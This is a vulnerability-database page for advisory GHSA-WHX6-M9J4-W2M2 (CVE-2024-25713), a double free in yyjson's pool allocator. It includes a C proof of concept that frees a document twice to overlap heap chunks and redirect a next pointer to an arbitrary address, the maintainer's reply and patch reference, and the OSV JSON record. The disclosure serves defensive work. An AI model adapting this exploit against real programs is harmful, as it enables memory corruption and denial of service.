GHSA-WHX6-M9J4-W2M2
Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2025-11-05 00:31Summary
The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks. Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.
Details
The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.
PoC
Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.
#include <stdio.h>
#include "yyjson.h"
char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;
int main() {
size_t max_json_size = 64 * 1024;
size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
void *buf = malloc(buf_size);
yyjson_alc alc;
yyjson_alc_pool_init(&alc, buf, buf_size);
yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
yyjson_mut_arr(p2);
yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p2); // double free
yyjson_mut_doc_free(p1);
yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;
for(int i=0;i<0x100;i++)test[i]= 'a';
test[0x100]='\00';
char *payload_f = "[%lld,43981]";
char payload[100];
sprintf(payload,payload_f,&a);
yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);
yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
for(int z=1;z<=100;z++)
yyjson_mut_int(p8,0x63636363);
printf("%s",test);
free(buf);
return 0;
}
Impact
What kind of vulnerability is it? Who is impacted?
Note from yyjson
yyjson_mut_doc_free() is well-documented: https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093
/** Release the JSON document and free the memory.
After calling this function, the `doc` and all values from the `doc` are no
longer available. This function will do nothing if the `doc` is NULL. */
void yyjson_mut_doc_free(yyjson_doc *doc);
If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid. Any further operation on the doc or its values is undefined behavior.
While this is not a bug in yyjson itself, a defensive patch has been provided: 0eca326 If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation, this patch will cause your program to crash immediately, alerting you to the incorrect usage.
{
"affected": [
{
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/ibireme/yyjson"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25713"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T18:04:24Z",
"nvd_published_at": "2024-02-29T01:44:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks.\nArbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.\n\n### Details\n\nThe core cause of this vulnerability lies in the pool_free function\u0027s lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.\n\n### PoC\n\nBelow, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk\u0027s next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.\n\n```\n#include \u003cstdio.h\u003e\n#include \"yyjson.h\"\n\nchar test[0x110];\nint64_t a=0xffffffff;\nint64_t b= (int64_t) test;\n\nint main() {\n\n size_t max_json_size = 64 * 1024;\n\n size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);\n\n void *buf = malloc(buf_size);\n\n yyjson_alc alc;\n yyjson_alc_pool_init(\u0026alc, buf, buf_size);\n\n yyjson_mut_doc *p1 = yyjson_mut_doc_new(\u0026alc);\n yyjson_mut_doc *p2 = yyjson_mut_doc_new(\u0026alc);\n yyjson_mut_arr(p2);\n\n yyjson_mut_doc *p3 = yyjson_mut_doc_new(\u0026alc);\n\n yyjson_mut_doc_free(p2);\n yyjson_mut_doc_free(p2); // double free\n yyjson_mut_doc_free(p1);\n\n yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;\n\n\n for(int i=0;i\u003c0x100;i++)test[i]= \u0027a\u0027;\n test[0x100]=\u0027\\00\u0027;\n char *payload_f = \"[%lld,43981]\";\n\n char payload[100];\n sprintf(payload,payload_f,\u0026a);\n yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,\u0026alc,NULL);\n\n yyjson_mut_doc *p5 = yyjson_mut_doc_new(\u0026alc);\n yyjson_mut_doc *p6 = yyjson_mut_doc_new(\u0026alc);\n yyjson_mut_doc *p7 = yyjson_mut_doc_new(\u0026alc);\n yyjson_mut_doc *p8 = yyjson_mut_doc_new(\u0026alc);\n for(int z=1;z\u003c=100;z++)\n yyjson_mut_int(p8,0x63636363);\n\n printf(\"%s\",test);\n free(buf);\n return 0;\n}\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n## Note from yyjson\nyyjson_mut_doc_free() is well-documented:\nhttps://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093\n\n```\n/** Release the JSON document and free the memory.\n After calling this function, the `doc` and all values from the `doc` are no\n longer available. This function will do nothing if the `doc` is NULL. */\nvoid yyjson_mut_doc_free(yyjson_doc *doc);\n```\nIf you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid.\nAny further operation on the doc or its values is undefined behavior.\n\nWhile this is not a bug in yyjson itself, a defensive patch has been provided: [0eca326](https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e)\nIf you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation,\nthis patch will cause your program to crash immediately, alerting you to the incorrect usage.",
"id": "GHSA-whx6-m9j4-w2m2",
"modified": "2025-11-05T00:31:17Z",
"published": "2024-02-29T03:33:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ibireme/yyjson/security/advisories/GHSA-q4m7-9pcm-fpxh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25713"
},
{
"type": "WEB",
"url": "https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e"
},
{
"type": "PACKAGE",
"url": "https://github.com/ibireme/yyjson"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6KQ67T4R7QEWURW5NMCCVLTBASL4ECHE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NNICQVIF7BRYFWYRL3HPVAJIPXN4OVTX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TKQPEREDUDKGYJMFNFDQVYCVLWDRO2Y2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6KQ67T4R7QEWURW5NMCCVLTBASL4ECHE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NNICQVIF7BRYFWYRL3HPVAJIPXN4OVTX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TKQPEREDUDKGYJMFNFDQVYCVLWDRO2Y2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "yyjson has a Double Free vulnerability"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.